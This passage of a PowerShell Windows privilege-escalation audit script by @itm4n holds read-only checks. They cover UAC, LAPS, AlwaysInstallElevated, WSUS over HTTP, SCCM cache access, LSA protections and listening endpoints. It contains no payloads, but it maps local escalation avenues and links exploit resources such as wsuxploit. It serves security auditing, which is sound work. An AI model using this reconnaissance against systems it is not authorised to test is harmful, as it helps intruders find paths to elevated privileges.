2341 [xml] $PackageContentXml = Get-Content -Path $Path -ErrorAction SilentlyContinue -ErrorVariable GetContentError
2342 if (-not $GetContentError) {
2343
2344 $PackageContentXml.GetElementsByTagName("assembly") | ForEach-Object {
2345
2346 $Info | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value "$($_.displayName)"
2347 $Info | Add-Member -MemberType "NoteProperty" -Name "SupportInformation" -Value "$($_.supportInformation)"
2348 }
2349
2350 $PackageContentXml.GetElementsByTagName("package") | ForEach-Object {
2351
2352 $Info | Add-Member -MemberType "NoteProperty" -Name "Identifier" -Value "$($_.identifier)"
2353 $Info | Add-Member -MemberType "NoteProperty" -Name "ReleaseType" -Value "$($_.releaseType)"
2354 }
2355
2356 $Info
2357 }
2358 }
2359
2360 if ($CachedHotFixList.Count -eq 0) {
2361
2362 # In the registry, one KB may have multiple entries because it can be split up into multiple
2363 # packages. This array will help keep track of KBs that have already been checked by the
2364 # script.
2365 $InstalledKBs = New-Object -TypeName System.Collections.ArrayList
2366
2367 $AllPackages = Get-ChildItem -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" -ErrorAction SilentlyContinue -ErrorVariable ErrorGetChildItem
2368
2369 if (-not $ErrorGetChildItem) {
2370
2371 $AllPackages | ForEach-Object {
2372
2373 # Filter only KB-related packages
2374 if (($_.Name | Split-Path -Leaf) -Like "Package_*_for_KB*") {
2375
2376 $PackageProperties = $_ | Get-ItemProperty
2377
2378 # Get the KB id, e.g.: KBXXXXXXX
2379 $PackageName = $PackageProperties.InstallName.Split('~')[0].Split('_') | Where-Object { $_ -Like "KB*" }
2380 if ($PackageName) {
2381
2382 # Check whether this KB has already been handled
2383 if (-not ($InstalledKBs -contains $PackageName)) {
2384
2385 # Add the KB id to the list so we don't check it multiple times
2386 [void]$InstalledKBs.Add($PackageName)
2387
2388 # Who installed this update?
2389 $InstalledBy = Convert-SidToName -Sid $PackageProperties.InstallUser
2390
2391 # Get the install date. It's stored in the registry just like a FILETIME structure.
2392 # So, we have to combine the low part and the high part and convert the result
2393 # to a DateTime object.
2394 $DateHigh = $PackageProperties.InstallTimeHigh
2395 $DateLow = $PackageProperties.InstallTimeLow
2396 $FileTime = $DateHigh * [Math]::Pow(2, 32) + $DateLow
2397 $InstallDate = [DateTime]::FromFileTime($FileTime)
2398
2399 # Parse the package metadata file and extract some useful information...
2400 $ServicingPackagesPath = Join-Path -Path $env:windir -ChildPath "servicing\Packages"
2401 $PackagePath = Join-Path -Path $ServicingPackagesPath -ChildPath $PackageProperties.InstallName
2402 $PackageInfo = Get-PackageInfo -Path $PackagePath
2403
2404 $Entry = New-Object -TypeName PSObject
2405 $Entry | Add-Member -MemberType "NoteProperty" -Name "HotFixID" -Value "$PackageName"
2406 $Entry | Add-Member -MemberType "NoteProperty" -Name "Description" -Value "$($PackageInfo.ReleaseType)"
2407 $Entry | Add-Member -MemberType "NoteProperty" -Name "InstalledBy" -Value "$InstalledBy"
2408 $Entry | Add-Member -MemberType "NoteProperty" -Name "InstalledOn" -Value $InstallDate
2409 [void]$CachedHotFixList.Add($Entry)
2410 }
2411 }
2412 }
2413 }
2414 } else {
2415
2416 # If we can't read the registry, fall back to the built-in 'Get-HotFix' cmdlet
2417 Get-HotFix | Select-Object HotFixID,Description,InstalledBy,InstalledOn | ForEach-Object {
2418 [void]$CachedHotFixList.Add($_)
2419 }
2420 }
2421 }
2422
2423 $CachedHotFixList | ForEach-Object {
2424 $_
2425 }
2426 }
2427
2428 function Get-SccmCacheFolder {
2429 <#
2430 .SYNOPSIS
2431
2432 Helper - Get the SCCM cache folder as a PowerShell object if it exists.
2433
2434 Author: @itm4n
2435 License: BSD 3-Clause
2436
2437 #>
2438
2439 [CmdletBinding()] param ()
2440
2441 $CcmCachePath = Join-Path -Path $env:windir -ChildPath "CCMCache"
2442 Get-Item -Path $CcmCachePath -ErrorAction SilentlyContinue | Select-Object -Property FullName,Attributes,Exists
2443 }
2444
2445 function Get-ScheduledTaskList {
2446 <#
2447 .SYNOPSIS
2448
2449 Helper - Enumerate all the scheduled task that are not disabled and that are visible to the current user.
2450
2451 Author: @itm4n
2452 License: BSD 3-Clause
2453
2454 .DESCRIPTION
2455
2456 Connect to the task scheduler service and retrieve a list of all the scheduled tasks that are
2457 visible to the current user.
2458
2459 .EXAMPLE
2460
2461 An example
2462
2463 #>
2464
2465 function Get-ScheduledTasks {
2466
2467 param (
2468 [object]$Service,
2469 [string]$TaskPath
2470 )
2471
2472 ($CurrentFolder = $Service.GetFolder($TaskPath)).GetTasks(0)
2473 $CurrentFolder.GetFolders(0) | ForEach-Object {
2474 Get-ScheduledTasks -Service $Service -TaskPath $(Join-Path -Path $TaskPath -ChildPath $_.Name )
2475 }
2476 }
2477
2478 try {
2479
2480 if ($CachedScheduledTaskList.Count -eq 0) {
2481
2482 # If the cache is empty, enumerate scheduled tasks and populate the cache.
2483
2484 $ScheduleService = New-Object -ComObject("Schedule.Service")
2485 $ScheduleService.Connect()
2486
2487 Get-ScheduledTasks -Service $ScheduleService -TaskPath "\" | ForEach-Object {
2488
2489 if ($_.Enabled) {
2490
2491 $TaskName = $_.Name
2492 $TaskPath = $_.Path
2493 $TaskFile = Join-Path -Path $(Join-Path -Path $env:windir -ChildPath "System32\Tasks") -ChildPath $TaskPath
2494
2495 [xml]$TaskXml = $_.Xml
2496 $TaskExec = $TaskXml.GetElementsByTagName("Exec")
2497 $TaskCommandLine = "$($TaskExec.Command) $($TaskExec.Arguments)"
2498 $Principal = $TaskXml.GetElementsByTagName("Principal")
2499
2500 $CurrentUserIsOwner = $False
2501
2502 if ($Principal.UserId) {
2503 $PrincipalName = Convert-SidToName -Sid $Principal.UserId
2504
2505 if ($(Invoke-UserCheck).SID -eq $Principal.UserId) {
2506 $CurrentUserIsOwner = $True
2507 }
2508 } elseif ($Principal.GroupId) {
2509 $PrincipalName = Convert-SidToName -Sid $Principal.GroupId
2510 }
2511
2512 if ($TaskExec.Command.Length -gt 0) {
2513
2514 $ResultItem = New-Object -TypeName PSObject
2515 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "TaskName" -Value $TaskName
2516 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "TaskPath" -Value $TaskPath
2517 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "TaskFile" -Value $TaskFile
2518 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "RunAs" -Value $PrincipalName
2519 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "Command" -Value $TaskCommandLine
2520 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "CurrentUserIsOwner" -Value $CurrentUserIsOwner
2521 [void] $CachedScheduledTaskList.Add($ResultItem)
2522
2523 } else {
2524 Write-Verbose "Task '$($_.Name)' has an empty cmd line"
2525 }
2526 } else {
2527 Write-Verbose "Task '$($_.Name)' is disabled"
2528 }
2529 }
2530 }
2531
2532 $CachedScheduledTaskList | ForEach-Object {
2533 $_
2534 }
2535
2536 } catch {
2537 Write-Verbose $_
2538 }
2539 }
2540 #endregion Helpers
2541
2542
2543 # ----------------------------------------------------------------
2544 # Checks
2545 # ----------------------------------------------------------------
2546 #region Checks
2547
2548 # ----------------------------------------------------------------
2549 # BEGIN CONFIG
2550 # ----------------------------------------------------------------
2551 function Invoke-UacCheck {
2552 <#
2553 .SYNOPSIS
2554
2555 Checks whether UAC (User Access Control) is enabled
2556
2557 Author: @itm4n
2558 License: BSD 3-Clause
2559
2560 .DESCRIPTION
2561
2562 The state of UAC can be determined based on the value of the parameter "EnableLUA" in the
2563 following registry key:
2564 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
2565 0 = Disabled
2566 1 = Enabled
2567
2568 .EXAMPLE
2569
2570 PS C:\> Invoke-UacCheck | fl
2571
2572 Path : Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
2573 EnableLUA : 1
2574 Enabled : True
2575
2576 .NOTES
2577
2578 "UAC was formerly known as Limited User Account (LUA)."
2579
2580 .LINK
2581
2582 https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua
2583 #>
2584
2585 [CmdletBinding()]Param()
2586
2587 $RegPath = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"
2588
2589 $Item = Get-ItemProperty -Path "Registry::$RegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2590 if (-not $GetItemPropertyError) {
2591 $UacResult = New-Object -TypeName PSObject
2592 $UacResult | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $RegPath
2593 $UacResult | Add-Member -MemberType "NoteProperty" -Name "EnableLUA" -Value $Item.EnableLUA
2594 $UacResult | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $($Item.EnableLUA -eq 1)
2595 $UacResult
2596 } else {
2597 Write-Verbose -Message "Error while querying '$RegPath'"
2598 }
2599 }
2600
2601 function Invoke-LapsCheck {
2602 <#
2603 .SYNOPSIS
2604
2605 Checks whether LAPS (Local Admin Password Solution) is enabled
2606
2607 Author: @itm4n
2608 License: BSD 3-Clause
2609
2610 .DESCRIPTION
2611
2612 The status of LAPS can be check using the following registry key.
2613 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft Services\AdmPwd
2614
2615 #>
2616
2617 [CmdletBinding()]Param()
2618
2619 $RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft Services\AdmPwd"
2620
2621 $Item = Get-ItemProperty -Path "Registry::$RegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2622 if (-not $GetItemPropertyError) {
2623 $LapsResult = New-Object -TypeName PSObject
2624 $LapsResult | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $RegPath
2625 $LapsResult | Add-Member -MemberType "NoteProperty" -Name "AdmPwdEnabled" -Value $Item.AdmPwdEnabled
2626 $LapsResult | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $($Item.AdmPwdEnabled -eq 1)
2627 $LapsResult
2628 }
2629 }
2630
2631 function Invoke-PowershellTranscriptionCheck {
2632 <#
2633 .SYNOPSIS
2634
2635 Checks whether PowerShell Transcription is configured/enabled
2636
2637 Author: @itm4n
2638 License: BSD 3-Clause
2639
2640 .DESCRIPTION
2641
2642 Powershell Transcription is used to log PowerShell scripts execution. It can be configured
2643 thanks to the Group Policy Editor. The settings are stored in the following registry key:
2644 HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
2645
2646 .EXAMPLE
2647
2648 PS C:\> Invoke-PowershellTranscriptionCheck | fl
2649
2650 EnableTranscripting : 1
2651 EnableInvocationHeader : 1
2652 OutputDirectory : C:\Transcripts
2653
2654 .NOTES
2655
2656 If PowerShell Transcription is configured, the settings can be found here:
2657
2658 C:\>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
2659
2660 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
2661 EnableTranscripting REG_DWORD 0x1
2662 OutputDirectory REG_SZ C:\Transcripts
2663 EnableInvocationHeader REG_DWORD 0x1
2664
2665 To enable PowerShell Transcription:
2666 Group Policy Editor > Administrative Templates > Windows Components > Windows PowerShell > PowerShell Transcription
2667 Set an output directory and set the policy as Enabled
2668
2669 #>
2670
2671 [CmdletBinding()]Param()
2672
2673 $RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"
2674
2675 $Item = Get-ItemProperty -Path "Registry::$RegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2676 if (-not $GetItemPropertyError) {
2677 # PowerShell Transcription is configured
2678 $PowershellTranscriptionResult = New-Object -TypeName PSObject
2679 $PowershellTranscriptionResult | Add-Member -MemberType "NoteProperty" -Name "EnableTranscripting" -Value $Item.EnableTranscripting
2680 $PowershellTranscriptionResult | Add-Member -MemberType "NoteProperty" -Name "EnableInvocationHeader" -Value $Item.EnableInvocationHeader
2681 $PowershellTranscriptionResult | Add-Member -MemberType "NoteProperty" -Name "OutputDirectory" -Value $Item.OutputDirectory
2682 $PowershellTranscriptionResult
2683 }
2684 }
2685
2686 function Invoke-BitlockerCheck {
2687 <#
2688 .SYNOPSIS
2689
2690 Checks whether BitLocker is enabled (workstations only).
2691
2692 .DESCRIPTION
2693
2694 When BitLocker is enabled on the system drive, the value "BootStatus" is set to 1 in the
2695 following registry key: 'HKLM\SYSTEM\CurrentControlSet\Control\BitLockerStatus'.
2696
2697 .EXAMPLE
2698
2699 An example
2700
2701 #>
2702
2703 [CmdletBinding()]Param()
2704
2705 $MachineRole = Invoke-MachineRoleCheck
2706
2707 if ($MachineRole.Name -Like "WinNT") {
2708
2709 $RegPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BitLockerStatus"
2710
2711 $Item = Get-ItemProperty -Path "Registry::$RegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2712 if (-not $GetItemPropertyError) {
2713
2714 if (-not ($Item.BootStatus -eq 1)) {
2715
2716 $BitlockerResult = New-Object -TypeName PSObject
2717 $BitlockerResult | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $RegPath
2718 $BitlockerResult | Add-Member -MemberType "NoteProperty" -Name "BootStatus" -Value $Item.BootStatus
2719 $BitlockerResult | Add-Member -MemberType "NoteProperty" -Name "Description" -Value "BitLocker isn't enabled."
2720 $BitlockerResult
2721 }
2722
2723 } else {
2724
2725 $BitlockerResult = New-Object -TypeName PSObject
2726 $BitlockerResult | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $RegPath
2727 $BitlockerResult | Add-Member -MemberType "NoteProperty" -Name "BootStatus" -Value ""
2728 $BitlockerResult | Add-Member -MemberType "NoteProperty" -Name "Description" -Value "BitLocker isn't configured."
2729 $BitlockerResult
2730 }
2731 }
2732 }
2733
2734 function Invoke-RegistryAlwaysInstallElevatedCheck {
2735 <#
2736 .SYNOPSIS
2737
2738 Checks whether the AlwaysInstallElevated key is set in the registry.
2739
2740 Author: @itm4n
2741 License: BSD 3-Clause
2742
2743 .DESCRIPTION
2744
2745 AlwaysInstallElevated can be configured in both HKLM and HKCU. "If the AlwaysInstallElevated
2746 value is not set to "1" under both of the preceding registry keys, the installer uses elevated
2747 privileges to install managed applications and uses the current user's privilege level for
2748 unmanaged applications."
2749
2750 #>
2751
2752 [CmdletBinding()]Param()
2753
2754 $Result = New-Object -TypeName System.Collections.ArrayList
2755
2756 $RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer"
2757
2758 if (Test-Path -Path "Registry::$RegPath" -ErrorAction SilentlyContinue) {
2759
2760 $HKLMval = Get-ItemProperty -Path "Registry::$RegPath" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
2761 if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){
2762 $Item = New-Object -TypeName PSObject
2763 $Item | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $RegPath
2764 $Item | Add-Member -MemberType "NoteProperty" -Name "AlwaysInstallElevated" -Value $HKLMval.AlwaysInstallElevated
2765 $Item | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $True
2766 [void]$Result.Add($Item)
2767 }
2768
2769 $RegPath = "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer"
2770
2771 if (Test-Path -Path "Registry::$RegPath" -ErrorAction SilentlyContinue) {
2772
2773 $HKCUval = (Get-ItemProperty -Path "Registry::$RegPath" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
2774 if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){
2775 $Item = New-Object -TypeName PSObject
2776 $Item | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $RegPath
2777 $Item | Add-Member -MemberType "NoteProperty" -Name "AlwaysInstallElevated" -Value $HKLMval.AlwaysInstallElevated
2778 $Item | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $True
2779 [void]$Result.Add($Item)
2780
2781 $Result
2782 }
2783 }
2784 }
2785 }
2786
2787 function Invoke-LsaProtectionsCheck {
2788 <#
2789 .SYNOPSIS
2790
2791 Checks whether LSASS is configured to run as a Protected Process
2792
2793 Author: @itm4n
2794 License: BSD 3-Clause
2795
2796 .DESCRIPTION
2797
2798 First it reads the registry to check whether "RunAsPPL" is configured and enabled in the
2799 "LSA" key. It also checks whether additional protections such as Secure Boot or Credential
2800 Guard are configured / enabled.
2801
2802 .EXAMPLE
2803
2804 On Windows 10:
2805
2806 PS C:\> Invoke-LsaProtectionsCheck
2807
2808 Name Status Description
2809 ---- ------ -----------
2810 RunAsPPL True RunAsPPL is enabled
2811 UEFI True BIOS mode is UEFI
2812 Secure Boot True Secure Boot is enabled
2813 Credential Guard False Credential Guard is not configured
2814
2815 .EXAMPLE
2816
2817 On Windows Server 2012 R2:
2818
2819 PS C:\> Invoke-LsaProtectionsCheck
2820
2821 Name Status Description
2822 ---- ------ -----------
2823 RunAsPPL False RunAsPPL is not configured
2824 UEFI False BIOS mode is Legacy
2825 Secure Boot False Secure Boot is not supported
2826 Credential Guard False Credential Guard is not supported on this OS
2827
2828 #>
2829
2830 [CmdletBinding()]Param()
2831
2832 Get-LsaRunAsPPLStatus
2833 Get-UEFIStatus
2834 Get-SecureBootStatus
2835 Get-CredentialGuardStatus
2836
2837 }
2838
2839 function Invoke-WsusConfigCheck {
2840 <#
2841 .SYNOPSIS
2842
2843 Checks whether the WSUS is enabled and vulnerable (Wsuxploit)
2844
2845 Author: @itm4n
2846 License: BSD 3-Clause
2847
2848 .DESCRIPTION
2849
2850 A system can be compromised if the updates are not requested using HTTPS but HTTP. If the URL
2851 of the update server (WUServer) starts with HTTP and UseWUServer=1, then the update requests
2852 are vulnerable to MITM attacks.
2853
2854 .EXAMPLE
2855
2856 PS C:\> Invoke-WsusConfigCheck
2857
2858 WUServer : http://acme-upd01.corp.internal.com:8535
2859 UseWUServer : 1
2860
2861 .LINK
2862
2863 https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
2864 https://github.com/pimps/wsuxploit
2865 #>
2866
2867 $WindowsUpdateRegPath = "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate"
2868 $WindowsUpdateAURegPath = "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU"
2869
2870 $WsusKeyServerValue = Get-ItemProperty -Path "Registry::$($WindowsUpdateRegPath)" -Name WUServer -ErrorAction SilentlyContinue -ErrorVariable ErrorGetItemProperty
2871 if (-not $ErrorGetItemProperty) {
2872
2873 $WusUrl = $WsusKeyServerValue.WUServer
2874
2875 $UseWUServerValue = Get-ItemProperty -Path "Registry::$($WindowsUpdateAURegPath)" -Name UseWUServer -ErrorAction SilentlyContinue -ErrorVariable ErrorGetItemProperty
2876 if (-not $ErrorGetItemProperty) {
2877
2878 $WusEnabled = $UseWUServerValue.UseWUServer
2879
2880 if ($WusUrl -Like "http://*" -and $WusEnabled -eq 1) {
2881
2882 $Result = New-Object -TypeName PSObject
2883 $Result | Add-Member -MemberType "NoteProperty" -Name "WUServer" -Value $WusUrl
2884 $Result | Add-Member -MemberType "NoteProperty" -Name "UseWUServer" -Value $WusEnabled
2885 $Result
2886 }
2887 }
2888 }
2889 }
2890
2891 function Invoke-SccmCacheFolderCheck {
2892 <#
2893 .SYNOPSIS
2894
2895 Gets some information about the SCCM cache folder if it exists.
2896
2897 Author: @itm4n
2898 License: BSD 3-Clause
2899
2900 .DESCRIPTION
2901
2902 If the SCCM cache folder exists ('C:\Windows\CCMCache'), this check will return some information
2903 about the item, such as the ACL. This allows for further manual analysis.
2904
2905 .EXAMPLE
2906
2907 TODO
2908
2909 #>
2910
2911 [CmdletBinding()] param ()
2912
2913 $SccmCacheFolderItem = Get-SccmCacheFolder
2914 if ($SccmCacheFolderItem) {
2915
2916 $Result = $SccmCacheFolderItem
2917 try {
2918 # We need a try/catch block because ErrorAction doesn't catch access denied errors
2919 $Result | Add-Member -MemberType "NoteProperty" -Name "Acl" -Value $($SccmCacheFolderItem | Get-Acl -ErrorAction SilentlyContinue | Select-Object -ExpandProperty AccessToString)
2920 } catch {
2921 # Access denied, do nothing
2922 }
2923 $Result
2924 }
2925 }
2926
2927 function Invoke-SccmCacheFolderVulnCheck {
2928 <#
2929 .SYNOPSIS
2930
2931 Checks whether the ccmcache folder is accessible.
2932
2933 Author: @itm4n
2934 License: BSD 3-Clause
2935
2936 .DESCRIPTION
2937
2938 When SCCM is used to remotely install packages, a cache folder is created in the Windows
2939 directory: 'C:\Windows\ccmcache'. MSI packages contained in this folder may contain some
2940 cleartext credentials. Therefore, normal users shouldn't be allowed to browse this
2941 directory.
2942
2943 .EXAMPLE
2944
2945 PS C:\> Invoke-SccmCacheFolderVulnCheck
2946
2947 FullName : C:\WINDOWS\CCMCache
2948 Attributes : Directory
2949 Exists : True
2950
2951 #>
2952
2953 [CmdletBinding()] param ()
2954
2955 $SccmCacheFolder = Get-SccmCacheFolder
2956 if ($SccmCacheFolder) {
2957
2958 Get-ChildItem -Path $SccmCacheFolder.FullName -ErrorAction SilentlyContinue -ErrorVariable ErrorGetChildItem | Out-Null
2959 if (-not $ErrorGetChildItem) {
2960 $SccmCacheFolder
2961 }
2962 }
2963 }
2964 # ----------------------------------------------------------------
2965 # END CONFIG
2966 # ----------------------------------------------------------------
2967
2968
2969 # ----------------------------------------------------------------
2970 # BEGIN NETWORK
2971 # ----------------------------------------------------------------
2972 function Get-RpcRange {
2973 <#
2974 .SYNOPSIS
2975
2976 Helper - Dynamically identifies the range of randomized RPC ports from a list of ports.
2977
2978 Author: @itm4n
2979 License: BSD 3-Clause
2980
2981 .DESCRIPTION
2982
2983 This function is a helper for the Invoke-TcpEndpointsCheck function. Windows uses a set of
2984 RPC ports that are randomly allocated in the range 49152-65535 by default. If we want to
2985 filter out these listening ports we must first figure out this set of ports. The aim of this
2986 function is to guess this range using basic statistics on a given array of port numbers. We
2987 can quite reliably identify the RPC port set because they are concentrated in a very small
2988 range. It's not 100% reliable but it will do the job most of the time.
2989
2990 .PARAMETER Ports
2991
2992 An array of port numbers
2993
2994 .EXAMPLE
2995
2996 PS C:\> Get-RpcRange -Ports $Ports
2997
2998 MinPort MaxPort
2999 ------- -------
3000 49664 49672
3001
3002 #>
3003
3004 [CmdletBinding()]Param(
3005 [Parameter(Mandatory=$True)]
3006 [int[]]
3007 $Ports
3008 )
3009
3010 function Get-Stats {
3011 [CmdletBinding()]Param(
3012 [int[]]$Ports,
3013 [int]$MinPort,
3014 [int]$MaxPort,
3015 [int]$Span
3016 )
3017
3018 $Stats = @()
3019 For ($i = $MinPort; $i -lt $MaxPort; $i += $Span) {
3020 $Counter = 0
3021 ForEach ($Port in $Ports) {
3022 if (($Port -ge $i) -and ($Port -lt ($i + $Span))) {
3023 $Counter += 1
3024 }
3025 }
3026 $RangeStats = New-Object -TypeName PSObject
3027 $RangeStats | Add-Member -MemberType "NoteProperty" -Name "MinPort" -Value $i
3028 $RangeStats | Add-Member -MemberType "NoteProperty" -Name "MaxPort" -Value ($i + $Span)
3029 $RangeStats | Add-Member -MemberType "NoteProperty" -Name "PortsInRange" -Value $Counter
3030 $Stats += $RangeStats
3031 }
3032 $Stats
3033 }
3034
3035 # We split the range 49152-65536 into blocks of size 32 and then, we take the block which has
3036 # greater number of ports in it.
3037 $Stats = Get-Stats -Ports $Ports -MinPort 49152 -MaxPort 65536 -Span 32
3038
3039 $MaxStat = $Null
3040 ForEach ($Stat in $Stats) {
3041 if ($Stat.PortsInRange -gt $MaxStat.PortsInRange) {
3042 $MaxStat = $Stat
3043 }
3044 }
3045
3046 For ($i = 0; $i -lt 8; $i++) {
3047 $Span = ($MaxStat.MaxPort - $MaxStat.MinPort) / 2
3048 $NewStats = Get-Stats -Ports $Ports -MinPort $MaxStat.MinPort -MaxPort $MaxStat.MaxPort -Span $Span
3049 if ($NewStats) {
3050 if ($NewStats[0].PortsInRange -eq 0) {
3051 $MaxStat = $NewStats[1]
3052 } elseif ($NewStats[1].PortsInRange -eq 0) {
3053 $MaxStat = $NewStats[0]
3054 } else {
3055 break
3056 }
3057 }
3058 }
3059
3060 $RpcRange = New-Object -TypeName PSObject
3061 $RpcRange | Add-Member -MemberType "NoteProperty" -Name "MinPort" -Value $MaxStat.MinPort
3062 $RpcRange | Add-Member -MemberType "NoteProperty" -Name "MaxPort" -Value $MaxStat.MaxPort
3063 $RpcRange
3064 }
3065
3066 function Invoke-TcpEndpointsCheck {
3067 <#
3068 .SYNOPSIS
3069
3070 Enumerates all TCP endpoints on the local machine (IPv4 and IPv6)
3071
3072 Author: @itm4n
3073 License: BSD 3-Clause
3074
3075 .DESCRIPTION
3076
3077 It uses the custom "Get-NetworkEndpoints" function to enumerate all the TCP endpoints on the
3078 local machine, IPv4 and IPv6. The list can then be filtered based on a list of known ports.
3079
3080 .PARAMETER Filtered
3081
3082 Use this switch to filter out the list of endpoints returned by this function. The filter
3083 excludes all the standard ports such as 445 or 139 and all the random RPC ports. The RPC port
3084 range is dynamically guessed using the helper function "Get-RpcRange".
3085
3086 .EXAMPLE
3087
3088 PS C:\> Invoke-TcpEndpointsCheck | ft
3089
3090 IP Proto LocalAddress State PID Name
3091 -- ----- ------------ ----- --- ----
3092 IPv4 TCP 0.0.0.0:135 LISTENING 968 svchost
3093 IPv4 TCP 0.0.0.0:445 LISTENING 4 System
3094 IPv4 TCP 0.0.0.0:5040 LISTENING 5408 svchost
3095 IPv4 TCP 0.0.0.0:49664 LISTENING 732 lsass
3096 IPv4 TCP 0.0.0.0:49665 LISTENING 564 wininit
3097 IPv4 TCP 0.0.0.0:49666 LISTENING 1208 svchost
3098 IPv4 TCP 0.0.0.0:49667 LISTENING 1412 svchost
3099 IPv4 TCP 0.0.0.0:49668 LISTENING 2416 spoolsv
3100 IPv4 TCP 0.0.0.0:49669 LISTENING 656 services
3101 IPv4 TCP 192.168.74.136:139 LISTENING 4 System
3102 IPv6 TCP [::]:135 LISTENING 968 svchost
3103 IPv6 TCP [::]:445 LISTENING 4 System
3104 IPv6 TCP [::]:49664 LISTENING 732 lsass
3105 IPv6 TCP [::]:49665 LISTENING 564 wininit
3106 IPv6 TCP [::]:49666 LISTENING 1208 svchost
3107 IPv6 TCP [::]:49667 LISTENING 1412 svchost
3108 IPv6 TCP [::]:49668 LISTENING 2416 spoolsv
3109 IPv6 TCP [::]:49669 LISTENING 656 services
3110
3111 #>
3112
3113 [CmdletBinding()]Param(
3114 [switch]$Filtered
3115 )
3116
3117 $IgnoredPorts = @(135, 139, 445)
3118
3119 $Endpoints = Get-NetworkEndpoints
3120 $Endpoints += Get-NetworkEndpoints -IPv6
3121
3122 if ($Filtered) {
3123 $FilteredEndpoints = @()
3124 $AllPorts = @()
3125 $Endpoints | ForEach-Object { $AllPorts += $_.LocalPort }
3126 $AllPorts = $AllPorts | Sort-Object -Unique
3127
3128 $RpcRange = Get-RpcRange -Ports $AllPorts
3129 Write-Verbose "Excluding port range: $($RpcRange.MinPort)-$($RpcRange.MaxPort)"
3130
3131 $Endpoints | ForEach-Object {
3132
3133 if (-not ($IgnoredPorts -contains $_.LocalPort)) {
3134
3135 if ($RpcRange) {
3136
3137 if (($_.LocalPort -lt $RpcRange.MinPort) -or ($_.LocalPort -ge $RpcRange.MaxPort)) {
3138
3139 $FilteredEndpoints += $_
3140 }
3141 }
3142 }
3143 }
3144 $Endpoints = $FilteredEndpoints
3145 }
3146
3147 $Endpoints | ForEach-Object {
3148 $TcpEndpoint = New-Object -TypeName PSObject
3149 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "IP" -Value $_.IP
3150 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Proto" -Value $_.Proto
3151 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "LocalAddress" -Value $_.Endpoint
3152 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "State" -Value $_.State
3153 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $_.PID
3154 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $_.Name
3155 $TcpEndpoint
3156 }
3157 }
3158
3159 function Invoke-UdpEndpointsCheck {
3160 <#
3161 .SYNOPSIS
3162
3163 Enumerates all UDP endpoints on the local machine (IPv4 and IPv6)
3164
3165 Author: @itm4n
3166 License: BSD 3-Clause
3167
3168 .DESCRIPTION
3169
3170 It uses the custom "Get-NetworkEndpoints" function to enumerate all the UDP endpoints on the
3171 local machine, IPv4 and IPv6. The list can be filtered based on a list of known ports.
3172
3173 .PARAMETER Filtered
3174
3175 Use this switch to filter out the list of endpoints returned by this function. The filter
3176 excludes all the standard ports such as 139 or 500.
3177
3178 .EXAMPLE
3179
3180 PS C:\> Invoke-UdpEndpointsCheck | ft
3181
3182 IP Proto LocalAddress State PID Name
3183 -- ----- ------------ ----- --- ----
3184 IPv4 UDP 0.0.0.0:5050 N/A 5408 svchost
3185 IPv4 UDP 0.0.0.0:5353 N/A 2176 svchost
3186 IPv4 UDP 0.0.0.0:5355 N/A 2176 svchost
3187 IPv4 UDP 0.0.0.0:54565 N/A 3100 SkypeApp
3188 IPv4 UDP 127.0.0.1:1900 N/A 5088 svchost
3189 IPv4 UDP 127.0.0.1:51008 N/A 5088 svchost
3190 IPv4 UDP 127.0.0.1:60407 N/A 3052 svchost
3191 IPv4 UDP 192.168.74.136:137 N/A 4 System
3192 IPv4 UDP 192.168.74.136:138 N/A 4 System
